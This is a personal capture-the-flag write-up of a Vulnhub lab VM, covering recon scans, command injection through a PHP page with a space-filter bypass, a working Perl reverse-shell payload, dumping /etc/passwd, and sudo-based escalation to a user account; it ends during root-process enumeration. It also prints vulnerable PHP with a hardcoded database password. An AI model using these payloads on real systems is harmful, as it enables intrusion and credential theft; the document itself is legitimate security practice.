Love the login banner on this one - fun ASCII Art, already shows some artistic touch here!
I want to start working on a more methodical approach, to do that I’m going to try to split my Pentest into stages, let’s see how that goes.
What do we know, or what useful information can we find out, before even interacting with the system?
- 9 Dec 2020 Creation
- Flag: 2 (User and root)
- provides common and real world vulnerabilities
- The Vulnhub page shows a webpage
- It appears to be the authors first VM
- Checking out the twitter, it looks like he posted the same machine on tryhackme.com
Side Note: This is the first I’ve heard of tryhackme, I explored the site a little and they have a ‘king of the hill’ game. How fucking cool is that?! I absolutely want to check that out. I’ve never had a reason to deal with post-exploitation stage things like lateral movement or persistance, this could be a great motivator to learn some of those things!
With this scope of work, there’s not much point in digging up much, and we don’t care about the machine seeing our active probes… So let’s get right into it!
$ nmap -nP 192.168.2.0/24
...
Nmap scan report for 192.168.2.22
Host is up (0.00032s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: 08:D2:3E:25:52:56 (Intel Corporate)
...
$ nikto --host 192.168.2.22 --port 80
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.2.22
+ Target Hostname: 192.168.2.22
+ Target Port: 80
+ Start Time: 2021-02-04 14:13:24 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Server may leak inodes via ETags, header found with file /, inode: 8970, size: 56d7e303a7e80, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time: 2021-02-04 14:14:19 (GMT-5) (55 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
192.168.2.22
Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation | linux/local/46676.php
$ msfconsole
msf6 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.2.22
RHOSTS => 192.168.2.22
msf6 auxiliary(scanner/ftp/anonymous) > run
[+] 192.168.2.22:21 - 192.168.2.22:21 - Anonymous READ (220 (vsFTPd 3.0.3))
[*] 192.168.2.22:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.2.22
RHOSTS => 192.168.2.22
msf6 auxiliary(scanner/ssh/ssh_version) > run
[+] 192.168.2.22:22 - SSH server version: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 ( service.version=7.6p1 openssh.comment=Ubuntu-4ubuntu0.3 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.cpe23=cpe:/a:openbsd:openssh:7.6p1 os.vendor=Ubuntu os.family=Linux os.product=Linux os.version=18.04 os.cpe23=cpe:/o:canonical:ubuntu_linux:18.04 service.protocol=ssh fingerprint_db=ssh.banner )
[*] 192.168.2.22:22 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
$ searchsploit openssh 7.6
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
$ vim /usr/share/exploitdb/exploits/linux/remote/45233.py
...
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
arg_parser.add_argument('--outputFile', type=str, help="The output file location")
arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()
...
$ python /usr/share/exploitdb/exploits/linux/remote/45233.py 192.168.2.22
This, was a deadend. After messing about with out-dated python2 scripts to get them to work, they just return True for every username given. I’m sure If I read the source code or CVE details I could reproduce this, but that’s too much work just to get a username at this point. May come back to this later!
Loading up Burpsuite, opening a browser, turning off intercept… let’s see what’s around those points of interest we found earlier!
Alright so, It looks like some static resources this page is attempting to include failed to load. There is however at least the intention of Register/Login/Search functionality. Once I actually look at the page source though, it’s all fake. There’s no real form posts happening. This page could just be to mislead, or maybe rendering the page from a different source will get us somewhere?
Of course I had to checkout /secret first…
Umm… I entered ls
into there:
I actually cried a little laughing, amazing haha! I tried entering nothing, and a few random things like asdf
and no
, and got this cute gif of some dude drinking coffee?
Something is interpreting this though, so we’ll return here and try to find a shell escape // command injection vulnerability here later.
/css doesn’t hold much useful information at a glance, other than the static resources that failed to load on the index are indeed not present.
There’s a ton of images here, but nothing that immediately captures my attention
/icons/README is the same default file we’ve seen 100 times, hasn’t lead me to anything before unless it pointed out a path traversal error, which briefly tested to no avail.
Before I finish up this light pass, let’s run Dirb:
$ dirb http://192.168.2.22
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Feb 4 15:01:58 2021
URL_BASE: http://192.168.2.22/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.2.22/ ----
==> DIRECTORY: http://192.168.2.22/css/
==> DIRECTORY: http://192.168.2.22/fonts/
==> DIRECTORY: http://192.168.2.22/images/
+ http://192.168.2.22/index.html (CODE:200|SIZE:35184)
==> DIRECTORY: http://192.168.2.22/js/
==> DIRECTORY: http://192.168.2.22/secret/
+ http://192.168.2.22/server-status (CODE:403|SIZE:277)
---- Entering directory: http://192.168.2.22/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.2.22/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.2.22/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.2.22/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.2.22/secret/ ----
==> DIRECTORY: http://192.168.2.22/secret/images/
+ http://192.168.2.22/secret/index.php (CODE:200|SIZE:168)
---- Entering directory: http://192.168.2.22/secret/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Thu Feb 4 15:02:02 2021
DOWNLOADED: 9224 - FOUND: 3
Ah the default settings got us some more info! We know know that at /secret the ‘mystical’ backend is PHP, and there’s a nested /images page under it. Let’s go check that out!
Alright so it would appear that there’s only two execution paths to this page, we either get the “You Failed” image or the “Lad typing” gif. The fact that the former has “Fail” in the name makes me want to focus even more on this spot soon.
We also see that there’s a /fonts, /js and apache’s mod_status page present. I Checked them all out briefly, nothing special going on.
# Exploitation
Alright, I think the best place to start after poking around is that little command entry. Let’s see if we can find some sort of command injection or shell escape there.
… The first thing I tired I got RCE …
I just entered no;ls
:
We even get a fucking printout on the page, way too easy! But, the plot thickens…
I tried: no;which nc
to see if netcat was present and we get the Fail image… took me a few more tried until I realized, it seems like any spaces in the command and it fails?
So… what if we try this:
- cat
images index.php root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin aurick:x:1000:1000:Anurodh:/home/aurick:/bin/bash mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false apaar:x:1001:1001:,,,:/home/apaar:/bin/bash anurodh:x:1002:1002:,,,:/home/anurodh:/bin/bash ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
Yup, that works and now we have a list of users on the system… Let’s just real quick make sure we’re not running shit as root here…
I entered: l;whoami
and got www-data. Classic.
Well, this should be as easy as crafting a reverse shell command with no spaces! Well, how can we do that? ${IFS} is a standard environment variable that produces a space…
I entered: k;which${IFS}nc
and got /bin/nc back. Perfect!
I entered: k;nc${IFS}192.168.2.21${IFS}4444${IFS}-e${IFS}/bin/bash
, No response. I think that means we produced an error.
Let’s check a few more things here…
k;echo${IFS}'nc${IFS}192.168.2.21${IFS}4444${IFS}-e${IFS}/bin/bash'
-> No Response.
k;echo${IFS}'hello'
-> hello
k;echo${IFS}'hello.hello'
-> hello.hello
k;echo${IFS}'hello/hello'
-> hello/hello
k;echo${IFS}"hello./hello"
-> No Response
k;echo${IFS}"."
-> .
k;which${IFS}python
-> No Response
k;which${IFS}python3
-> /usr/bin/python3
k;which${IFS}bash
-> /bin/bash
k;which${IFS}perl
-> /usr/bin/perl
k;echo${IFS}"-"
-> -
k;echo${IFS}"192.168.2.22"
-> 192.168.2.22
k;nc${IFS}-h
Man I’m confused as to how this works…
k;ls -la /home
-> total 20 drwxr-xr-x 5 root root 4096 Oct 3 04:28 . drwxr-xr-x 24 root root 4096 Feb 4 19:07 .. drwxr-x--- 2 anurodh anurodh 4096 Oct 4 14:01 anurodh drwxr-xr-x 5 apaar apaar 4096 Oct 4 14:11 apaar drwxr-x--- 4 aurick aurick 4096 Oct 3 05:33 aurick
I decided to give perl a shot and we popped a reverse shell! The working payload:
k;perl -e 'use Socket;$i="192.168.2.21";$p=6969;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# Get us a tty shell
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/files$ cd ~
cd ~
www-data@ubuntu:/var/www$ ls -al
ls -al
total 16
drwxr-xr-x 4 root root 4096 Oct 3 04:01 .
drwxr-xr-x 14 root root 4096 Oct 3 03:44 ..
drwxr-xr-x 3 root root 4096 Oct 3 04:40 files
drwxr-xr-x 8 root root 4096 Oct 3 04:40 html
www-data@ubuntu:/var/www$ cd files
cd files
www-data@ubuntu:/var/www/files$ ls -al
ls -al
total 28
drwxr-xr-x 3 root root 4096 Oct 3 04:40 .
drwxr-xr-x 4 root root 4096 Oct 3 04:01 ..
-rw-r--r-- 1 root root 391 Oct 3 04:01 account.php
-rw-r--r-- 1 root root 453 Oct 3 04:02 hacker.php
drwxr-xr-x 2 root root 4096 Oct 3 06:30 images
-rw-r--r-- 1 root root 1153 Oct 3 04:02 index.php
-rw-r--r-- 1 root root 545 Oct 3 04:07 style.css
Looks like there was another page somewhere there we missed, probably had something to do with that location header? Let’s have a peek at the files there…
#index.php
<html>
<body>
<?php
if(isset($_POST['submit']))
{
$username = $_POST['username'];
$password = $_POST['password'];
ob_start();
session_start();
try
{
$con = new PDO("mysql:dbname=webportal;host=localhost","root","!@m+her00+@db");
$con->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_WARNING);
}
catch(PDOException $e)
{
exit("Connection failed ". $e->getMessage());
}
require_once("account.php");
$account = new Account($con);
$success = $account->login($username,$password);
if($success)
{
header("Location: hacker.php");
}
}
?>
<link rel="stylesheet" type="text/css" href="style.css">
<div class="signInContainer">
<div class="column">
<div class="header">
<h2 style="color:blue;">Customer Portal</h2>
<h3 style="color:green;">Log In<h3>
</div>
<form method="POST">
<?php echo $success?>
<input type="text" name="username" id="username" placeholder="Username" required>
<input type="password" name="password" id="password" placeholder="Password" required>
<input type="submit" name="submit" value="Submit">
</form>
</div>
</div>
</body>
</html>
# account.php
<?php
class Account
{
public function __construct($con)
{
$this->con = $con;
}
public function login($un,$pw)
{
$pw = hash("md5",$pw);
$query = $this->con->prepare("SELECT * FROM users WHERE username='$un' AND password='$pw'");
$query->execute();
if($query->rowCount() >= 1)
{
return true;
}?>
<h1 style="color:red";>Invalid username or password</h1>
<?php }
}
?>
<html>
<head>
<body>
<style>
body {
background-image: url('images/002d7e638fb463fb7a266f5ffc7ac47d.gif');
}
h2
{
color:red;
font-weight: bold;
}
h1
{
color: yellow;
font-weight: bold;
}
</style>
<center>
<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
<h1 style="background-color:red;">You have reached this far. </h2>
<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>
</center>
</head>
</html>
Huh, interesting. Anyway…
Time to find a PE vector and get root!
www-data@ubuntu:/home$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
www-data@ubuntu:/home$ cat /home/apaar/.helpline.sh
cat /home/apaar/.helpline.sh
#!/bin/bash
echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo
read -p "Enter the person whom you want to talk with: " person
read -p "Hello user! I am $person, Please enter your message: " msg
$msg 2>/dev/null
echo "Thank you for your precious time!"
www-data@ubuntu:/home$ /bin/sh /home/apaar/.helpline.sh
/bin/sh /home/apaar/.helpline.sh
Welcome to helpdesk. Feel free to talk to anyone at any time!
Enter the person whom you want to talk with:
Hello user! I am , Please enter your message: ls
ls
anurodh apaar aurick
Thank you for your precious time!
www-data@ubuntu:/home$ /bin/sh /home/apaar/.helpline.sh
/bin/sh /home/apaar/.helpline.sh
Welcome to helpdesk. Feel free to talk to anyone at any time!
Enter the person whom you want to talk with:
Hello user! I am , Please enter your message: /bin/bash -e
/bin/bash -e
id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
exit
exit
Thank you for your precious time!
www-data@ubuntu:/home$ sudo -u apaaf /home/apaar/.helpline.sh
sudo -u apaaf /home/apaar/.helpline.sh
sudo: unknown user: apaaf
sudo: unable to initialize policy plugin
www-data@ubuntu:/home$ sudo -u apaar /home/apaar/.helpline.sh
sudo -u apaar /home/apaar/.helpline.sh
Welcome to helpdesk. Feel free to talk to anyone at any time!
Enter the person whom you want to talk with:
Hello user! I am , Please enter your message: /bin/bash -e
/bin/bash -e
id
id
uid=1001(apaar) gid=1001(apaar) groups=1001(apaar)
python3 -c 'import pty;pty.spawn("/bin/bash")'
apaar@ubuntu:/home$ id
id
uid=1001(apaar) gid=1001(apaar) groups=1001(apaar)
apaar@ubuntu:~$ cat local.txt
cat local.txt
{USER-FLAG: e******w}
Wohoo! we got the first flag nice and quick!
Now, let’s try to get root shall we?
apaar@ubuntu:/var/backups$ cd /etc
cd /etc
apaar@ubuntu:/etc$ ls *cron*
ls *cron*
crontab
cron.d:
mdadm php popularity-contest
cron.daily:
apache2 dpkg mlocate update-notifier-common
apport logrotate passwd
apt-compat man-db popularity-contest
bsdmainutils mdadm ubuntu-advantage-tools
cron.hourly:
cron.monthly:
cron.weekly:
man-db update-notifier-common
apaar@ubuntu:/etc$ cat cron.d/popularity-contest
cat cron.d/popularity-contest
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
34 13 * * * root test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-contest --crond
apaar@ubuntu:/etc$ cat /etc/cron.daily/popularity-contest
cat /etc/cron.daily/popularity-contest
#!/bin/sh
set -e
# don't run if this package is removed but not purged
if [ ! -f /usr/sbin/popularity-contest ]; then
exit 0
fi
MODE="$1"
unset MAILFROM
unset MAILTO
unset MY_HOSTID
unset PARTICIPATE
unset SUBMITURLS
unset USEHTTP
unset MTAOPS
# get configuration information
. /usr/share/popularity-contest/default.conf
. /etc/popularity-contest.conf
if test -d /etc/popularity-contest.d/; then
for file in `run-parts --list --regex '\.conf$' /etc/popularity-contest.d/`;
do
. $file
done
fi
# don't run if MAILTO address is blank, and not configured to use HTTP POST!
if [ -z "$MAILTO" ] && [ "yes" != "$USEHTTP" ]; then exit 0; fi
# don't run if PARTICIPATE is "no" or unset!
if [ "$PARTICIPATE" = "no" ] || [ -z "$PARTICIPATE" ]; then exit 0; fi
if [ -n "$HTTP_PROXY" ]; then
export http_proxy="$HTTP_PROXY";
fi
POPCONOLD=/var/log/popularity-contest
POPCONNEW=/var/log/popularity-contest.new
POPCON="$POPCONNEW"
# Only run on the given day, to spread the load on the server a bit
if [ "$DAY" ] && [ "$DAY" != "$(date +%w)" ] ; then
# Ensure that popcon runs at least once in the last week
if [ -f "$POPCONOLD" ] ; then
now=$(date +%s)
lastrun=$(date -r $POPCONOLD +%s)
if [ "$MODE" = "--crond" ]; then
# 6.5 days, in seconds
week=561600
else
# 7.5 days, in seconds
week=648000
fi
if [ "$(( $now - $lastrun ))" -le "$week" ]; then
exit 0
fi
fi
fi
# keep old logs
cd /var/log
umask 022
savelog -c 7 popularity-contest >/dev/null
run_popcon()
{
runuser -s /bin/sh -c "/usr/sbin/popularity-contest" nobody
}
do_sendmail()
{
if [ -n "$MAILFROM" ]; then
sendmail -oi $MTAOPS -f "$MAILFROM" $MAILTO
else
sendmail -oi $MTAOPS $MAILTO
fi
}
# generate the popularity contest data
run_popcon > $POPCON
GPG=/usr/bin/gpg
if [ "$ENCRYPT" = "yes" ] && ! [ -x "$GPG" ]; then
logger -t popularity-contest "encryption required but gpg is not available."
echo "popularity-contest: encryption required but gpg is not available." 2>&1
exit 1
fi
if [ -x "$GPG" ] && [ "$ENCRYPT" = "maybe" ] || [ "$ENCRYPT" = "yes" ]; then
POPCONGPG="$POPCON.gpg"
rm -f "$POPCONGPG"
GPGHOME=`mktemp -d`
$GPG --batch --no-options --no-default-keyring --trust-model=always \
--homedir "$GPGHOME" --keyring $KEYRING --quiet \
--armor -o "$POPCONGPG" -r $POPCONKEY --encrypt "$POPCON"
rm -rf "$GPGHOME"
POPCON="$POPCONGPG"
fi
SUBMITTED=no
# try to post the report through http POST
if [ "$SUBMITURLS" ] && [ "yes" = "$USEHTTP" ]; then
for URL in $SUBMITURLS ; do
if setsid /usr/share/popularity-contest/popcon-upload \
-u $URL -f $POPCON -C 2>/dev/null ; then
SUBMITTED=yes
else
logger -t popularity-contest "unable to submit report to $URL."
fi
done
fi
# try to email the popularity contest data
if [ "$MODE" = "--crond" ] && [ yes != "$SUBMITTED" ] && [ "$MAILTO" ]; then
if [ -x "`which sendmail 2>/dev/null`" ]; then
(
if [ -n "$MAILFROM" ]; then
echo "From: <$MAILFROM>"
echo "Sender: <$MAILFROM>"
fi
echo "To: $MAILTO"
echo "Subject: popularity-contest submission"
echo "MIME-Version: 1.0"
echo "Content-Type: text/plain"
echo
cat $POPCON
) | do_sendmail
SUBMITTED=yes
else
logger -t popularity-contest "unable to submit report using sendmail."
fi
fi
if [ "yes" != "$SUBMITTED" ] ; then
logger -t popularity-contest "unable to submit report."
else
mv $POPCONNEW $POPCONOLD
fi
That’s a root cronjob that executes every hour, and we can read it’s contents! Now I’ve got to spend some time reading this…
/usr/sbin/popularity-contest
we like to see things in /sbin… does it execute that?
What’s in those config files?
cat /usr/share/popularity-contest/default.conf
# Default config file for Debian's popularity-contest package.
#
# Local overrides are in /etc/popularity-contest.conf
# PARTICIPATE can be one of "yes" or "no".
# If you don't want to participate in the contest, say "no"
# and we won't send messages.
#
# If this option is missing, the default is "no".
#
PARTICIPATE="no"
# ENCRYPT can be one of "yes", "maybe" or "no".
# If "yes", reports are encrypted using public key cryptography.
# This protects against eavesdroppers when the report is transmitted.
# However reports can only be read by the popcon server.
# This requires the package gnupg to be installed.
# If "maybe", reports are encrypted only if gnupg is available.
#
ENCRYPT="no"
# KEYRING and POPCONKEY specify the key to use for encryption.
# They should not be changed for proper operation with
# popcon.debian.org.
#
KEYRING="/usr/share/popularity-contest/debian-popcon.gpg"
POPCONKEY="3F28C7EC54D00227C397BC7A1EA34EFBE7FD7002"
# MAILTO specifies the address to e-mail statistics to each week.
#
#MAILTO="popcon@ubuntu.com"
# MAILFROM is the forged sender email address you want to use in
# email submitted to the popularity-contest. If this is commented
# out, no From: or Sender: lines will be added to the outgoing mail,
# and it will be your MTA's job to add them. This is usually what
# you want.
#
# If your MTA is misconfigured or impossible to configure correctly,
# and it always generates invalid From: and/or Sender: lines, you
# can force different results by setting MAILFROM here. This can
# cause problems with spam bouncers, so most people should leave it
# commented out.
#
#MAILFROM="root@example.org"
# SUBMITURLS is a space separated list of where to submit
# popularity-contest reports using http.
SUBMITURLS="https://popcon.ubuntu.com/popcon-submit.cgi"
# USEHTTP enables http reporting. Set this to 'yes' to enable it.
USEHTTP="yes"
# HTTP_PROXY allows to specify an HTTP proxy server, the syntax is
# HTTP_PROXY="http://proxy:port". This overrides the environment
# variable http_proxy.
# MY_HOSTID is a secret number that the popularity-contest receiver
# uses to keep track of your submissions. Whenever you send in a
# new entry, it overwrites the last one that had the same HOSTID.
#
# This key was generated automatically so you should normally just
# leave it alone.
#
#MY_HOSTID="_ID_"
… This looks so legit? I did some quick googling and discovered this is a real thing not just some shit the author made up! Nothing on exploitdb for it, this may be a deadend.
even if we could overwrite the binary, it runs as nobody
run_popcon()
{
runuser -s /bin/sh -c "/usr/sbin/popularity-contest" nobody
}
Alright moving on…
$ ps -aux | grep root
ps -aux | grep root
root 1 0.0 0.4 159708 8940 ? Ss 19:11 0:01 /sbin/init auto automatic-ubiquity noprompt
root 2 0.0 0.0 0 0 ? S 19:11 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< 19:11 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? I< 19:11 0:00 [mm_percpu_wq]
root 7 0.0 0.0 0 0 ? S 19:11 0:00 [ksoftirqd/0]
root 8 0.0 0.0 0 0 ? I 19:11 0:00 [rcu_sched]
root 9 0.0 0.0 0 0 ? I 19:11 0:00 [rcu_bh]
root 10 0.0 0.0 0 0 ? S 19:11 0:00 [migration/0]
root 11 0.0 0.0 0 0 ? S 19:11 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S 19:11 0:00 [cpuhp/0]
root 13 0.0 0.0 0 0 ? S 19:11 0:00 [cpuhp/1]
root 14 0.0 0.0 0 0 ? S 19:11 0:00 [watchdog/1]
root 15 0.0 0.0 0 0 ? S 19:11 0:00 [migration/1]
root 16 0.0 0.0 0 0 ? S 19:11 0:00 [ksoftirqd/1]
root 18 0.0 0.0 0 0 ? I< 19:11 0:00 [kworker/1:0H]
root 19 0.0 0.0 0 0 ? S 19:11 0:00 [kdevtmpfs]
root 20 0.0 0.0 0 0 ? I< 19:11 0:00 [netns]
root 21 0.0 0.0 0 0 ? S 19:11 0:00 [rcu_tasks_kthre]
root 22 0.0 0.0 0 0 ? S 19:11 0:00 [kauditd]
root 23 0.0 0.0 0 0 ? I 19:11 0:04 [kworker/0:1]
root 24 0.0 0.0 0 0 ? S 19:11 0:00 [khungtaskd]
root 25 0.0 0.0 0 0 ? S 19:11 0:00 [oom_reaper]
root 26 0.0 0.0 0 0 ? I< 19:11 0:00 [writeback]
root 27 0.0 0.0 0 0 ? S 19:11 0:00 [kcompactd0]
root 28 0.0 0.0 0 0 ? SN 19:11 0:00 [ksmd]
root 29 0.0 0.0 0 0 ? SN 19:11 0:00 [khugepaged]
root 30 0.0 0.0 0 0 ? I< 19:11 0:00 [crypto]
root 31 0.0 0.0 0 0 ? I< 19:11 0:00 [kintegrityd]
root 32 0.0 0.0 0 0 ? I< 19:11 0:00 [kblockd]
root 33 0.0 0.0 0 0 ? I< 19:11 0:00 [ata_sff]
root 34 0.0 0.0 0 0 ? I< 19:11 0:00 [md]
root 35 0.0 0.0 0 0 ? I< 19:11 0:00 [edac-poller]
root 36 0.0 0.0 0 0 ? I< 19:11 0:00 [devfreq_wq]
root 37 0.0 0.0 0 0 ? I< 19:11 0:00 [watchdogd]
root 39 0.0 0.0 0 0 ? I 19:11 0:00 [kworker/1:1]
root 41 0.0 0.0 0 0 ? S 19:11 0:00 [kswapd0]
root 42 0.0 0.0 0 0 ? I< 19:11 0:00 [kworker/u257:0]
root 43 0.0 0.0 0 0 ? S 19:11 0:00 [ecryptfs-kthrea]
root 85 0.0 0.0 0 0 ? I< 19:11 0:00 [kthrotld]
root 86 0.0 0.0 0 0 ? I< 19:11 0:00 [acpi_thermal_pm]
root 87 0.0 0.0 0 0 ? S 19:11 0:00 [scsi_eh_0]
root 274 0.0 0.0 0 0 ? I< 19:11 0:00 [scsi_tmf_32]
root 302 0.0 0.0 0 0 ? I< 19:11 0:00 [ttm_swap]
root 303 0.0 0.0 0 0 ? S 19:11 0:00 [irq/16-vmwgfx]
root 306 0.0 0.0 0 0 ? I< 19:11 0:00 [kworker/0:1H]
root 309 0.0 0.0 0 0 ? I< 19:11 0:00 [kworker/1:1H]
root 313 0.0 0.0 0 0 ? I< 19:11 0:00 [kdmflush]
root 316 0.0 0.0 0 0 ? I< 19:11 0:00 [bioset]
root 389 0.0 0.0 0 0 ? I< 19:11 0:00 [raid5wq]
root 439 0.0 0.0 0 0 ? S 19:11 0:00 [jbd2/dm-0-8]
root 440 0.0 0.0 0 0 ? I< 19:11 0:00 [ext4-rsv-conver]
root 512 0.0 0.6 78440 12108 ? S<s 19:11 0:00 /lib/systemd/systemd-journald
root 513 0.0 0.0 0 0 ? I< 19:11 0:00 [iscsi_eh]
root 515 0.0 0.0 0 0 ? I< 19:11 0:00 [ib-comp-wq]
root 516 0.0 0.0 0 0 ? I< 19:11 0:00 [ib-comp-unb-wq]
root 517 0.0 0.0 0 0 ? I< 19:11 0:00 [ib_mcast]
root 518 0.0 0.0 0 0 ? I< 19:11 0:00 [ib_nl_sa_wq]
root 519 0.0 0.0 0 0 ? I< 19:11 0:00 [rdma_cm]
root 522 0.0 0.0 105904 1848 ? Ss 19:11 0:00 /sbin/lvmetad -f
root 529 0.0 0.2 46232 5200 ? Ss 19:11 0:00 /lib/systemd/systemd-udevd
root 571 0.0 0.0 0 0 ? I< 19:11 0:00 [kworker/u257:2]
root 703 0.0 0.0 0 0 ? S 19:11 0:00 [jbd2/sda2-8]
root 704 0.0 0.0 0 0 ? I< 19:11 0:00 [ext4-rsv-conver]
root 850 0.0 0.4 89864 9952 ? Ss 19:11 0:00 /usr/bin/VGAuthService
root 852 0.0 0.3 216944 7220 ? S<sl 19:11 0:04 /usr/bin/vmtoolsd
root 1077 0.0 0.0 110548 1956 ? Ssl 19:12 0:00 /usr/sbin/irqbalance --foreground
root 1078 0.0 0.0 95540 1620 ? Ssl 19:12 0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root 1081 0.0 0.2 62164 5784 ? Ss 19:12 0:00 /lib/systemd/systemd-logind
root 1137 0.0 1.0 185948 20216 ? Ssl 19:12 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root 1138 0.0 0.3 286244 6928 ? Ssl 19:12 0:00 /usr/lib/accountsservice/accounts-daemon
root 1179 0.0 0.8 169100 17308 ? Ssl 19:12 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 1184 0.0 0.1 30028 3200 ? Ss 19:12 0:00 /usr/sbin/cron -f
root 1189 0.0 2.2 912012 46100 ? Ssl 19:12 0:00 /usr/bin/containerd
root 1190 0.0 0.1 29148 2856 ? Ss 19:12 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root 1254 0.0 0.3 288884 6472 ? Ssl 19:12 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 1271 0.0 0.2 72304 5820 ? Ss 19:12 0:00 /usr/sbin/sshd -D
